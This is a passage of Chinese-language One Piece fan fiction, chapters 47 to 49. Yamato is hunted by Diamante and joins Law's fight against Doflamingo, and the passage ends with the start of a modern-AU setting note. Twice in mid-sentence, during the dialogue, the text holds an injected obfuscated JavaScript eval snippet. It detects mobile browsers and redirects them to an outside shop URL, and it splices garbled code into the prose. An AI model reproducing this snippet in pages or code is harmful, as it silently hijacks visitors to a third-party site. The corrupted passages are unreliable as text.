他还要替柯拉先生看着,柯拉先生曾试图解救的德雷斯罗萨王国真正摆脱多弗朗明哥的掌控。 ——从柯拉先生重伤之时将有关挽救德雷斯罗萨的情报交给他开始算起,这是迟到了13年未完成的任务。 不想再等更久了,甚至冥冥之中也压根不耐烦等到四皇的百兽海贼团以摧枯拉朽之势碾轧唐吉诃德海贼团。 ‘无论船长怎么决定,我都会跟到底。’——有人这么说过,从实际情况来看,也的确一直都是这么做的。 罗很久没有确信在某个人身边,自己一定可以安心,至少可以确保性命无虞。但一起经历的两年让他不由得相信。 他确实也曾经想过:如果一起同行的话,大概还能走很远。 但是大和自身不是没有经历过类似的情况,或许能理解:再见面之前,自己的问题必须先亲自解决。就像他两年前毅然留在马林梵多时一样。 ——既然敌人注定不会放过他,他正好也想会一会仇人。 就算罗确实答应过,会第一时间抽身回去相见。 可如果下场是他将止步于此,那就看在两年的情面上原谅他吧;就算连脾气那么好的人都不肯原谅他也行……那就记住他吧。 罗会亲自送一程,至少他还记得,同样是在两年前的香波地法庭台阶前,那个人说要去世界看一看。既然如此,他留下,让另一个人前行 。 只要别忘了他,怪他或者恨他也没关系。 47.piece 46-掀翻的牌桌与双重身份 王宫高地之上,独属于国王的房间意外空旷,桌上却密集地摆放着几只电话虫。 代表不同联系对象、不同形象的电话虫,会从世界各地将他想要的、或需要知道的信息通过念波传递过来:生意伙伴、家族干部、秘密部门甚至于仇敌,不一而足。 作为国王唐吉诃德-多弗朗明哥,他在此处获悉掌握德雷斯罗萨王国中的一切情形,通过家族干部作为延伸出去的触角做局并主持局面,进而服务于另一项身份; 作为黑市中间人Joker,他需要忙于在这里接打各种电话,从阴影中获得利益,也对世间每个阴暗的角落施加影响,以便搅动风云。 ——掌控和颠覆,就是这个房间与他自身身份的全部意义。 时钟正朝着预定方向一点点靠近,再过一会他就要出发,因为下午3点有个重要的“约会”。作为多年生意人的他无疑会准时到场,何况他也早已憋着一股火想好好会会某位多年未见的小朋友。 桌上其中一台电话虫在这时铃声大作,打断他的思绪,但也无妨,他习惯了——而且也不想显得一会的约会太重要,在出发前不需要改变任何日常的工作节奏——说到底,国王在他的“主场”即将面对的也只是一群不知天高地厚的小鬼而已。 听筒熟悉的手感握入掌心,他一如往常沉着应答:“有什么新情况么?迪亚曼蒂。” “多弗,草帽路飞已经上套了。虽然那小子乔装过,又用了‘路西’这个假名字,但可以肯定是他没错。” 出征之前传来这样的好消息,不得不说让他心情愉悦了不少。“好啊,不出所料。接下来就拜托你了。我这会正打算去会会罗那小子。” “不用这么客气!不过在你出发之前,有个特殊情况还是跟你先通个气。”正面涂抹两道直线条纹、头戴羽毛冠的电话虫面露几分正经,看来对面选择在这个时候打来电话,要说的事情也并不简单,“说不上事情大小,不过我想你应该要知道。” “唔,你说吧。”表盘显示还有相对充分的时间,从不轻视家族成员任何意见的男人干脆蜷着一条腿在桌面坐下,打算仔细听一听来自最高干部的汇报。 “事实上有关于今天到地下港来交易的人,正好是从和之国来……” 迪亚曼蒂介绍的同时,听者就从手边的抽屉中取出交易单,正好翻到今日的记录。“哦,百兽海贼团嘛,还没到SMILE的交付日,今天应该只是常规的武器交易。怎么,你有好好招待这位贵客吧?” “那是当然,宾至如归,不过他到包厢坐了一会,很快就走了,临走也正是他透露这个消息——”电话虫稍作停顿,仿佛也在纳闷或思考,旋即如实介绍:“他说在竞技场好像看到了‘少爷’。” “……‘少爷’?什么少爷?”毫无头绪、尚且还是头一次出现的关键词,令消息灵通的Joker也无从揣摩。 “太详细的事那家伙不肯说,费了几瓶好酒,总算透露一丁点线索。似乎指的就是百兽的少爷,但再具体的身份就套不出来了——到底是指船长之下实力接近于‘二把手’的人,还是说海贼团中某位重要人物的儿子,暂未确定——所以我正想你会不会听说过,四皇凯多有儿子或者事实上的副船长吗?” 电话这头暂时陷入沉默。这可不是好现象,虽然不值得迷信,出发之前突然出现掌控之外的消息,让多弗朗明哥的心情瞬间不大晴朗。 “很遗憾,你说的这两类人物恐怕都存在。” ——混到四皇这个地步的大海贼,自然没有哪艘船上不是队伍精良、配备齐全。 副船长一般来说是肯定有的,就算没有正式赋予称号,也定有实际意义上的人物; 至于说子女,虽然还没有哪个人像四皇玲玲那么庞大的子女构成,但那帮大人物在海上稍微播撒了几个种的可能性还是有的。 据说近日都有自称是白胡子之子的男人到处晃荡,凯多有个儿子也并不奇怪——只是海上暂无人知晓是何名称、长什么样子罢了。 因此这真是一条说不上多么重要但意外性足够高的消息。“这位‘少爷’长什么样子,查到了吗?” “啊,这倒是套出来了,反正是在竞技场里,就直接叫人拍了张照片,我正要给你送过去—— “虽说长得和凯多几乎没有相同点,但这还不是问题……奇怪的是这个人不巧早已经出现在我们的视线范围,只不过原来各处传来的情报可从没提过他和百兽海贼团有关。” 越听越邪门,“迪亚曼蒂,现在就用电话虫影像把照片传给我。” 四皇有关之人无故出现在德雷斯罗萨,还光临了竞技场,这就已经不寻常。联系到来交易的百兽团代表对于不寻常之人诡异的称谓,让人不多想都不行。 两天来被罗搅得头疼的情形背后也正因为与四皇有关,多弗朗明哥现在对于又牵扯到百兽海贼团的事很难不介意。 影像电话虫已经启动,没过多久,图像传输了过来。虽然由于投影的关系,不如直接看到照片清晰,但从他所熟知的竞技场观众区的走廊背景上,男人还是一眼就认出了那头渐变色的白发。 “……开玩笑吧,你说的这个人难道是罗身边的跟班吗?” 投影中显现的剪影只有侧面,即便打扮风格和班克岛曾传回的照片完全不同,但标志性的样貌、以及明显的女性特征则完全一致。 “多弗,老实说我也惊讶地眼珠子快掉下来。话说回来,莫奈也说过罗的‘助理’其实是男人,为什么这次又完全打扮地像个女人?可是来交易的客人却又确实说的是‘少爷’……罗那小子在搞些什么?这家伙真地只是罗的部下吗?难不成刚好有两个长得一模一样的人?” “迪亚曼蒂,我也有和你差不多的一堆问题。但眼下没有时间再仔细讨论了,先想方设法把他请到你面前亲自谈吧——既然是大主顾海贼团的人,我们不好怠慢。 “——但是要小心,如果碰巧和罗的跟班真是同一个人,那他的实力不简单,就连莫奈都已经在他手上栽过一次。另外我们还是要问清楚他为什么在竞技场,目的是什么。” “好啊,明白了。如果真地只是长得很像的两个人就好了。如果是同一人,事情就麻烦了,罗要这么对付我们的理由也就更耐人寻味……总而言之,祝你出征顺利吧。有消息我会再通知你。” - 同一时间,远在王宫高地外城镇圈的斗牛竞技场内,信息不对称的情况也正以另一种形式上演。 “——也就是说,你们也想摧毁工厂,对付多弗朗明哥,对么?弗兰奇大哥,以及‘大哥的女人’。” “对。” “不是!” 竞技场的观众休息区,1人、1机器人面对萍水相逢的玩具独腿小锡兵,正激烈交谈——不用说放在任何国度都显得稀奇的场面,独独在“人与玩具”共处的德雷斯罗萨王国却毫无违和。 因此就算3者之中唯一完全意义上的人类只有1人,路人们也只会为他惹眼的外表和临近抓狂的表情而侧目,看够了也就扭过头去各行其是。 ——况且这还是“爱与热情”的国度之中,最富有激情的圣地,斗牛竞技场。有几个大呼小叫的人简直稀松平常,此刻赛场方向就正传来更为热烈的声浪。 “嗯?到底是怎么回事?”会说话也能思考的玩具小锡兵没有表情变化,但已经被面前两个陌生人搞糊涂了。 “我们就是要捣毁工厂、干掉多弗朗明哥那个混蛋!”机器人操着满口弹舌音,肯定地说。 “但……不是‘女人’。”外表惹眼的白发青年结结巴巴地否认,顺便更正:“是男人。” “……所以说白发‘小姐’你叫弗兰奇,旁边的大哥是你的男人?” “不是!”这回是两道异口同声地否认。 “——啊,这么啰嗦下去没完没了!士兵小哥,你还是直接说正事吧!” 时间离下午3点只剩不到半个小时,路飞已经登记注册了选手身份参加争夺烧烧果实的竞赛,真正继续执行工厂破坏任务的只剩弗兰奇与大和2人。 造成这一情形的背后原因,除了有海贼们本来就个性过于散漫之外,不难猜出也有敌人有意设计分散他们的战力。至少德雷斯罗萨莫名其妙出现烧烧果实,八成就是多弗朗明哥为了转移路飞注意力所作的安排。 可想到了背后原因是一方面,实际行动取舍时却又不可能简简单单与敌人的逻辑反向而行。至少大和能充分理解路飞的心情。 至于其他几个临时离队的人,每位似乎又都有不得不离开的理由: 索隆的武器被偷了,必须去追;山治怕索隆迷路(弗兰奇已经向大和解释索隆其实是无可救药的大路痴),也必须去追;锦卫门到德雷斯罗萨的原始目的就是为了营救一同出海的同伴勘十郎,他连海贼都不算,离队本身是必然的…… 说到底,任务小组原本就是个草台班子。目前为止,能遇到弗兰奇这么靠谱的同盟,大和就已经很满足了。 只是他怎么也不会想到下一个出岔子的人会是自己罢了。 “好吧……”拦在两名海贼面前的玩具士兵暂时放弃对无关问题的纠结,终于说到:“我可以告诉你们工厂在哪里,甚至可以带你们去,但我有1个前提条件。” “什么条件?你先说来听听。” 因为大和口齿不够利索,负责提问和交谈的主要是同行的弗兰奇,而大和只有在需要的情况下出言补充。 正待要听玩具士兵说明,一股异样感令白发人即刻回头——就好像被什么人盯上了一样。 “怎么了?”弗兰奇也注意到他的异动。 “说不……清,不知道是不是……这件衣服颜色……太醒目,从刚才就总有……被人注视的感觉。” 弗兰奇闻言,中肯地指出:“啊,应该不只是衣服颜色的问题。” “亮片也确实……”大和又轻轻揪了一下布料上如鲑鱼的鳞一样细小的橙色亮片。 “亮片也不是关键。”——这小子是完全意识不到自己长什么样子吗? “那是……什么呢?” 弗兰奇纳罕地看了一眼典型“美而不自知”的旁人,不过出于对方是男人这一认知,暂且忍住无关宏旨的吐槽。 “嘛,应该就是因为路过的人都忍不住看看你吧。会不会是你过于敏感了?” 大和本身还是能分清被普通路人打量,和被当成特定目标甚至是被敌人打量时的感觉,“……或许。不过我感觉……不太好。我们还是尽可能先……换个地方吧。士兵……先生,可以嘛?” “嗯,我赞成。”好在玩具士兵很容易就同意了,“这里唐吉诃德的眼线太多了,隔墙有耳。我们出去再谈。” 然而不巧的是刚达成一致的两海贼、一玩具就听到身后传来脚步声,一队角斗士服装的像是竞技场工作人员正在跑来,同时扬声念念有词。 ——“客人!请客人留步!” “怎么个情况,找士兵小哥的吗?” “不会,我不认识他们。” ——“‘女’客人,请您留步。” “叫你。”以防一直自称男人的大和意识不到,弗兰奇回头提醒。 “我知道。”事实上大和也已经见多了被认成女人的场景,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422940|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我也……不认识他们。” 正犹豫要不要理会看起来更像普通人的工作人员,对面还是很快就追了上来。 听过来意,原来是要请大和到竞技场高层办公室见管理员。不消说这样的邀请太奇怪了,再细问工作人员却摆明了也不解内情。 “对不起……我赶时间……还是算了。”眼下明显没有闲工夫再被打岔,保障行动终究是首位。大和婉拒之后就要转身,但意外地再次得到挽留。 “客人,实在不好意思,迪亚曼蒂大人嘱咐了无论如何要请您过去,您看……” 听到这个名字,大和的脸色便一沉,只有弗兰奇还在不耐烦地替他说:“迪亚曼蒂算‘老几’?不去又能如何?” “这位客人您是外国人吧?迪亚曼蒂大人可是……” “唐吉诃德家族的最高干部。”平静的声音提前道出答案,立刻迎来工作人员们的热情回应。 ——看来刚刚果然没有“过于敏感”,他真地被盯上了。 大和转向面露愕然的弗兰奇,示意对方什么都不要说。 “锦卫门应该再认真点帮我变装的。”他自己也不应该掉以轻心,以为普通人不认得自己就没问题。想了想,他又低头对玩具士兵道:“只要不是伤天……害理的条件,我们都可以答应,请一定带我朋友……去工厂。” 说完他起身,机器人朝他点点头,“跑吗?” “分开……跑。” 虽然还不清楚为什么这么快就被发现,但为了拖住敌人,确保至少有1人先找到工厂,大和选择暂时脱队——本来也只剩2人的小队。 弗兰奇捞起玩具士兵扭头就跑,大和随手设下两道冰墙,沿另一条路线朝其他出口狂奔。 “诶,客人!客人??”被封锁在两道冰墙之间的工作人员纷纷傻眼。“快联系其他人带冰锥来救我们!——话说好冷!!” - - 甩掉对于大和而言与普通人无异的工作人员并不困难,等一口气跑出竞技场时,他甚至怀疑自己刚刚都不该用到能力。 眼看这么容易就跑到外面来了,他不禁考虑现在立刻就去找弗兰奇会合的可行性。 但疑点还是不少,如果说唐吉诃德家族见过他在班克岛的样子,又这么快就锁定他,为什么不直接派干部来对付他,而是叫了几个普通人去找? ——就算是轻敌也太过于离谱。 而且就算工作人员对高层要找他的原因完全不知情,刚才的态度未免也太过礼貌。要不是大和对自己是来干什么的心中有数,简直以为刚才那群人要拿他当作“贵客”。 ——算了,管不了这么多。 跑到竞技场背面,他也就放慢脚步,四下张望不见什么人,正打算要调头回去往可能的方向寻找踪迹,脚下突然莫名不稳,若非反应及时竟险些摔倒。 难道是突然地震了? 正怀疑莫不是锦卫门给他变的高跟鞋有鬼,视野之内显然见到地面好像起了海浪一样的波纹。 “恶魔果实能力?” 在这片大海上,有任何不合常理的体验,或许都可以大胆猜测与能力者有关。 “抱歉抱歉,居然还是要用这么粗暴的方式向‘贵客’打招呼——”突然出现的男人打扮夸张如不知名文明的土著,金黄色的羽毛头冠、鲜红的披风、脸部从额前至下巴涂抹两道油彩,不巧这形象大和早就在情报里见过。 还是追过来了:唐吉诃德家族的最高干部,“方块”迪亚曼蒂。 “——这么匆忙,要去哪里呀?‘少爷’。” 大和一听还以为这是敌人某种冷嘲热讽的方式,尤其是对方一脸欠揍的笑容,令他不禁蹙眉:“我不是……什么少爷。要打架就直说!” “不是少爷?”站在不断波动的地面上却能从容行进的男人似乎有所疑惑,但还是依旧面带大和看来完全是假惺惺的笑容,“哎呀,何必这么见外,难道你还不知道多弗和你们船长的关系吗?” “什么?”越听越诡异,大和想不明白对方一副套近乎的语气跟自己在说些什么——多弗朗明哥和罗的关系?他知道是知道,但犯得着用这么恶心的语气提起吗? “你不知道?” “我不知道你……想说什么!” “你真不知情?” “你好烦。有话……就说” ——这叫什么事?敌人既然已经认出他,为什么还不动手,全靠废话。 “既然不打架……就把地面……停下!”——晃得他都快恶心了——“要么,直接动手!” 话音刚落,地面还真就见鬼地停了下来。大和懵了一秒后快速思考应该在这里直接迎战最高干部、还是转身继续开溜,刚拔腿开始跑,地面果不其然又开始波动起伏。 那就不用考虑了。打! - 距离罗与多弗朗明哥约定交易的时间还有不到10分钟,距离《世经新闻》雇佣的送报海鸥们就位还有数公里。 有人还在耐心等待,有人已经打算赴约,也有人正在赛场边等待自己的第一场战斗,还有无需顾忌路人眼光追踪目标、陷入用浪漫编织的骗局而不自知、在毫无头绪的寻找中受暗中合围、全然未发现危险正在临近……又或是一步步踏入不为人知的真相,置身于一片闻所未闻的世界。 一切七零八落,一切均不可控。 白发青年一臂挥出力风,但脚踩在波动不停的地面,自身无法保持重心的情况无疑削弱了他的攻击——他渴望推动局面,或许他实力也不差,可在力量汇聚到一处之前,或许现在能做的还只是稍稍拂动自己的命运。 48.piece 47-掀翻的牌桌与交锋 午后德雷斯罗萨骄阳似火,冰霜却覆盖了竞技场背阴面无人注意的后巷。 “多弗,不男不女的家伙应该是朝你那边过去了。”因吃下飘扬果实而得以将身形变得如薄膜一样扁长的“旗帜人”,也借此能力终于从冰面封印下脱身,“他说自己不是任何地方的‘少爷’,也跟百兽海贼团不熟。可能是百兽的人看错了,只是长得像吧。” “这样嘛?我知道了。没关系,我这边也基本结束了,就让他来吧。”迷你电话虫的声音没什么太大的起伏,显示说话之人对局面似乎尚有充分把握。“话说回来,你没吃什么亏吧?迪亚曼蒂。” “——那是不可能的!我还得在竞技场继续守擂,怎么可能会栽在这小子手里?要不是号外不巧被他看到了,那小子着急‘开溜’,我肯定不会放过他的!” 自大或许让男人还没认清对手“开溜”之前的形势,但当他掀开明明用能力变化后的钢铁所制衣物,还是看到了为钝击造成的伤势。不由得,稍稍客观地评价到:“不过他的能力和实力还是有点难缠……莫奈当初倒在他手里不算冤。” “哦……你居然会对他这么评价……” 通讯中的另一方面,多弗朗明哥睥睨着铁桥上的年轻人——即便用尽体力,却还徒劳挣扎着想爬起来继续拼命——沉思两秒,决定告诉他这个“好消息”: “罗,你在这拼死拼活地给其他人争取时间,你们的‘小同盟’却在德雷斯罗萨毫无建树:草帽小子已经被我困在竞技场,其余人群龙无首,就连你自己的跟班都放弃了任务,此刻正赶往这里,要救你呢——又来一个陪你一起死的人,你高兴吗?” 伏在桥上的男人没有答音,抬起的眼神也并未屈服,又或许只是隐藏地还不错。 不在敌人面前暴露任何软弱——恰恰也是10数年前和如今一样身披火烈鸟鸟羽的男人曾亲口教导的。 敌人的消息初听来的确使罗吃惊,联想到消息中提到的那个人本身,却又显得刚好能说得通。 ——那个傻瓜……现在这种情况下来过来又有什么意义?如果他在这里失败了,草帽一伙也没有成功摧毁SMILE工厂,两年的卧薪尝胆岂不都白费! 可即便这样想,他能料到大和在得知多弗朗明哥“使诈”未退出七武海后,定会赶来与自己会合。 他们似乎别无选择,因为情况超出他的预计,也注定了在计划成功之前要与敌人一战。剩下的或许只有相信草帽一伙这一条路而已。只是白费了他早先故意支走大和的盘算…… “那些事和我都没有关系。”拄着鬼哭妖刀,罗迫使自己再次站起来,“从一开始,我只是为了报答柯拉先生的恩情,草帽一伙只是被我利用了而已。至于我的人……他决定为我死,是他的事情……为了目的而牺牲所有人,不也正是你最擅长的吗,Joker?” “这么多年,我还是觉得你最像我啊!罗!——” 年轻人踉跄两步后又奋力冲上去迎战,险恶十足的大笑刺耳地令他反感。 不管怎样,他现在要做的就是拦住敌人的去路。就在不久前“黑足”山治告诉过他已经找到工厂,剩下的就只是用于摧毁工厂的时间罢了。既然只差时间,他可以用自己的命换时间。 他还能站起来,也还可以战斗,此身已经无所谓是死是活。为了目标、为了计划,他可以抛开一切——早就已经决定好了——如果没有柯拉先生,早在13年前他就应该活不成了! 死又算什么!只不过是…… 凛风突至,寒意令深陷死斗中焦灼的思绪稍作冷却。 罗亲眼目睹多弗朗明哥的攻击被赶上来的钝击抵消,甚至巨大的力量带着冷气继续向前猛扑,使敌人被迫后撤。 “这么快就来了。” 若非有人闯入战局打乱原有节奏,罗还没发觉这么快就已经节节败退到铁桥后半段,离德雷斯罗萨方向已经越来越近。 ——看来他刚才还是不够冷静。幸好…… “谁让你来的?”即便心头飘过一丝侥幸,他还是嘴硬道。 因大和在蛰伏的两年间从不使用恶魔果实能力,罗竟还是第一次近距离见识这副形态:背朝他拦在面前的是比人形略高的半兽人影,周身为淡青色幻烟围绕,动物果实变身状态下出现的鬃毛与狼尾如云朵蓬松流畅。 虽然形象陌生,但凭借朱红色兽目与蓝绿渐变色鬃毛,他还是第一眼就认出对方……以及顺带注意到了他身上穿的是什么。 “——这他妈谁干的!?” 即便是最不重要的话题,大和还是从最简单的开始答起:“锦卫门帮我……变装。” 在面对实力强大的敌人时必须严阵以待,然而来人也有必要的理由将注意力分出一部分,放在已是遍体鳞伤的男人身上。 他在从德雷斯罗萨赶来的路上,远远地也已看到桥上的战斗景象: 似乎已经失去还手之力的年轻船长,面对身型近两倍于自己而手段近乎虐杀的敌人,像片风中摇摆的叶子,后退的每一寸都伴随着鲜血洒向桥面。 ——就算敌人再强大,为什么会落到这步田地?他不在的时候发生了什么?又为什么都到了这种情况下还只有罗一个人在独自抵抗? 难道他们两人中间当“笨蛋”的不应该是他吗?“聪明人”都到这种程度了还打什么打! 触目惊心的景象令他瞬间就起了怒意,不仅有对多弗朗明哥的愤怒,更多的居然是对罗的责怪。 “船长,我有必须要……来的理由。如果我没有……来,你难道打算……死在这里吗!” “你不会是故意把我支走的吧?”短短一瞬在脑中已经形成的鲜明猜测被他一口气问了出来,可事实上问题的答案早在开口前就已经浮出水面:八成是他猜的这样。“为什么……要一个人……强撑?” 罗缓缓深吸一口气,平复着伤痛和差点没过头顶的疲劳,站稳后直接道:“这是我和他两个人的恩怨,你们都不应该牵扯进来。” “——路飞他们也就算了,我也一样吗?” “昂,一样。” 青年不假思索的回答无异于火上浇油,听者像是要直接转过身来找他理论,好在敌人先提示了自己的存在: “臭小子们,就这么当着我的面闲聊天嘛?” 两人同时沉吟片刻,终究还是大和略过对手的问题,虽未回头再开口时却还是对身后的男人说:“船长,现在做什么?” “拦住Joker,让同盟完成计划。” “明白。”他又像每次生气时那样,气来得快,转眼收得也快。 虽然并非恰当时机,在援兵到来后暂获喘息之人还是微不可见地笑了笑。 大概因为对方上一秒似乎就要对他发火,下一秒又“乖乖”配合的样子,一如既往地令人安心。 也或许因为就算他再嘴硬,已经打定主意不惜身死,但当看见对方挡在面前时,本能还是令他涌起希望。 ——他知道既然对方来了就一定会拼命保护自己。这个念头是他起初必须将大和支开的理由,也是眼下让他能够安心恢复体力的原因。 - 青年默默观察战局,大和在动物果实变身后除了更加自如地施展冰系能力,似乎速度、防御和钝击的力量都有所加成。 罗还是看不出来他变身的幻兽到底是什么,外形有着很像白狼的犬科特点,可能是从某种尚未了解过的文明中诞生的形象——既然大和能吃下这一恶魔果实,应该也就代表他的出身、或至少是过往经历曾与该文明息息相关——这倒是一个可以帮他慢慢探明身世的办法。 ……只要他们都能在德雷斯罗萨活下来的话。 先前同时应对多弗朗明哥和海军大将藤虎着实令他损失的体力太多,后来为救下桑尼号又消耗了不少,如果不是大和赶来,或许他现在已经倒下了也难说。 体力恢复起来不算快,但好在他的同伴势头正猛,守住了阵地不说,还渐渐将对手逼回联通格林比特岛和德雷斯罗萨的铁桥中央。 多弗朗明哥的伤害招式并未减弱,但对人兽状态下的大和没什么作用。敌人本身实力很强,又兼具智谋,很快意识到问题后改变战术,借着且战且退的过程诱使对手愈加远离同伴,转而寻找空隙攻击战局一旁的罗。碰巧线线果实能力本就善于“钻空子”。 大和慢了一拍,还是明白了敌人要干什么,调头险险挡住攻向罗的线弹,却架不住多弗朗明哥的能力变化多端,他只能出于守卫目的尽可能不让罗离自己太远,不然就要被动扩大防御范围。不得不承认,缺少实战经验成了他当前最主要的劣势。 防御面被迫分散,不到两分钟局面就开始被动不说,也造成大和本身的伤势。眼看敌人像找到窍门一样不断故伎重施,罗真心也替船员憋屈。 “别管我!专心对付你的。” 听到背后传来的提醒,交战中的白发年轻人还没说什么,对面的男人先赫赫发笑道:“听见了吗?他根本不需要你的保护,不想死得太快就考虑一下他的意见吧。” 即便不爽于被敌人这么说,并且他深刻怀疑眼前奸笑的面孔下是不是又藏着其他祸心,大和还是认真地考虑了一下罗目前体力恢复的可能性。 “船长,你先朝……后撤!”根据他目前能做的判断,保守选择似乎也只有让暂时失去战力的同伴先朝德雷斯罗萨方向退出交战区域。 然而面前的笑脸却越发奸诈,“你确定吗?我可是已经知道你的防御范围到哪里,可你知道我的攻击范围吗?” “……”有理由怀疑敌人更可能在诈他,但是此刻大和又丝毫找不到可判断的依据。 他甚至看不清粉红色太阳眼镜下的目光呈何状态——此人唯一不加隐藏的只有恶,除此之外多弗朗明哥好像什么都不肯显露。 他真地好讨厌这种类型:不仅讨厌从情报中了解到的种种极端的恶行,真正面对面时又更加让他直觉无法从敌人恶的表面下找到一丝一毫真实的踪迹——就像他赶来之前在德雷斯罗萨才得知对方出尔反尔,根本没有退出七武海,并且居然还是利用世界范围的大媒体玩出一把“障眼法”。 虽然他一直都知道自己不够聪明,但是把心机和手段玩弄到这个份上的敌人也着实令他恶心! “我不知道!”头脑一热,他脱口而出。 原本就清楚逃也逃不掉,不如原地休整的罗在不远处也听地分明,怕他被敌人的话扰乱心智,便再次大声提醒:“别听他的,不知道怎么回答就别回答!” 多弗朗明哥笑声好像从喉咙底部一点点传出来的,最终变作放声大笑。 “罗,看看你现在身边围绕的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445581|133034||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是什么样的人!——你最近患上什么‘恋蠢症’了吗?” “我确实……不知道!”如犬类一样、却又带着丰富人性的面孔上,并无一丝被嘲讽的恼怒,倒像为其他理由忿忿,“不知道……就是不知道。” 罗不清楚这平时就间歇性突发一根筋的人此刻是怎么了。目前还在交战中,大和连说话都不利索的情况下,罗也很难想办法理解他真正的意思,只能蹙眉听着,也警惕着多弗朗明哥有任何不妥的动向。 - 战局胶着到现在,其实早已超出多弗朗明哥的预计。看来把这头非人非兽的能力者放过来或许是战术上的失误。 只是问题还不止这样而已——或许对面两个给他惹麻烦的小毛头还未想到,关于大和存疑的身份问题,才是他现在唯一不得不考虑的忌讳。 但是打了这么一会,从对手两人的状态来看,好像表现得压根也不知情。目前已获得的情报除了百兽海贼团的来客一句意味不明的话之外,只有大和的能力确切应该是稀有的幻兽种动物果实,具体是什么就不知道了,他也从未见过、或听说过这种形态的果实能力。 若是早知今日,他或许在两年前的顶上战争时就该好好看看这号人——可那时对方也太过不显眼!谁能想到两年后正式交手就变得如此麻烦。 拖到现在,即使表面上不显,多弗朗明哥也有些烦躁。他虽然有信心草帽一伙不可能成功攻入SMILE工厂,但这么拖下去也着实恐生变数。 ——他得把这两个人分开才行。也得尽快搞清楚让自己不明白的问题真相。 动动手指用起寄生线,如意料之中这招控制不了多久——对手也善用霸气,在刚刚的几个回合中他已经认识到了——但他真正的目的是为自己赢得时间,影骑线创造出的线人偶趁着“幻兽人”被牵制在前方,直逼后方罗的面前。 “等等,先回答我的问题。”见和另一人一样年轻的海贼在奋力挣脱后控制就要参与援救,多弗朗明哥先一步拦在对手面前,“——如果是我想听的答案,我不是不能放过你们。” 线人偶已逼着罗重新加入战局,渐行渐远。大和虽然吃惊于对手还有这样的能力,焦急应对但短时间内也突破不了本体造成的重重障碍。 “我没有……你想要的……答案!罗也不让我……理你!” 如此幼稚的回答令听者不禁想加以耻笑,不过他暂且忍住了,并且也没忘掉此举真正的目的。 “你可能脑子不大清醒,但实力我已经见到了——大和,你到底是什么人?像你这种程度,两年前应该就可以自己去当船长,为什么要跟着罗小打小闹,还跑到班克禁区装哑巴? “你和罗的实力应该不相上下,明眼人不会相信你只是给他打下手;换句话,你真地是罗的手下吗?还是我什么时候不巧得罪过你,你才答应帮这臭小子一起对付我? “——又或者,我应该叫你‘大和少爷’?” 话音刚落,他发觉对面僵持的人停顿下来。正以为有戏,便听: “你们有病,我不是少爷!”已经在上一场打斗中对其他人重复不止一次的话,大和一口气告诉他,“我就是罗的同伴,乐意跟着他。” 不过接下来的话还是让他勉强有些收获—— “我也不记得……被你得罪过,以前的记忆……我都忘了,不过我还是讨厌你!” 任何人被当面说讨厌可能都会生气,即便这个词是多么幼稚。 多弗朗明哥当然不会追问为什么讨厌他,他已经得到有用的消息——这小子不巧已经失忆,那么有关身份的真相再问他想来也无益。 既然如此,他会用自己的办法搞清。 ……或者直接把这小子搞死,不让消息透露出去,是不是更简单? 情况就在这时突发转变,原本对他龇牙咧嘴还大放厥词说讨厌他的人居然在一阵青烟后解除了人兽形态,他还以为这是对方要转变招式发起攻击的先兆,刚要向后闪躲,又见其直直朝前倒下。 战事取胜地毫无预兆,上一秒还十分难缠的对手,下一秒瞪着眼地跪在地上,尚且战栗不止。 饶是他见过的大小场合多如牛毛,也想不通眼下是什么情状。 远处狼狈应战的年轻人也注意到了这边的变化,明明自己已经分神乏术,却还冲他喊:“Joker,你干了什么?!——” 他干什么了?就刚刚来说,他什么都没干,甚至可能更像被碰瓷。 “两个该死的小鬼,跑到我的眼皮底下蹬鼻子上脸……”男人一改狞笑转而面无表情地蹲下来,仔细打量起数秒前还是对手之人,轻而易举地用手掌攥住无端惨白的小脸,“有病的是你吧。‘癫痫’么?看来失忆应该也是真的……” “白送”的对手红目圆睁、紧咬牙关,像是痛苦却不能发出来,也像心有不甘却无计可施。 ——这么没用的样子,真难看。 抬抬手,远处的青年一样也转眼又倒地。 “说不定我能帮你想起来一些呢?”罗倒是很快又爬起来了,但可惜跟班“病发”期间一时半会应该很难再帮到忙——那正好——以防万一,他给白发人又上了一道捆束。 “看在咱们有可能是‘自己人’的份上,眼下先别急生气。等我清理完门户,自会对你交代一番,‘少爷’。” 49.ParoAU系列:奖励 新系列番外“医院隔壁的关东煮”背景设定交代: 这系列就脱离正文背景设定,完全是现代都市演义/平行世界,背景假设为“霓虹”国“东映”市,私立学校“新世界”男子高中生们的日常与非日常故事。 主角-大和是【国内最大帮派-百兽组大少爷】: 模样好像是“大小姐”,但从小被帮派按男性培养,也认为自己是男人,虽然是成长过程中产生的性别倒错但本人并不在乎(除了喜欢的人之外)其他人的眼光。性格豪爽、打架很强(但不喜欢打架),不计较外表的话完全纯爷们。 然而嫉恶如仇心地善良,讨厌坏蛋更厌恶黑-帮,每天只想把老爹举报了送进局子里。但在长期生长的环境中,目前功课无疑很差,甚至能不能高中毕业都是问题。梦想是经营一家关东煮店做出美味的关东煮! 主角-罗是【医生之子】: 个性有些阴暗面,不算阳光、也不能算十分善良,但邪不压正,内心向往光明(所以才会喜欢上阳光的人)。虽然是学校里的尖子生,但好像跟境外背景的帮派-“唐组”也有说不清道不明的联系。 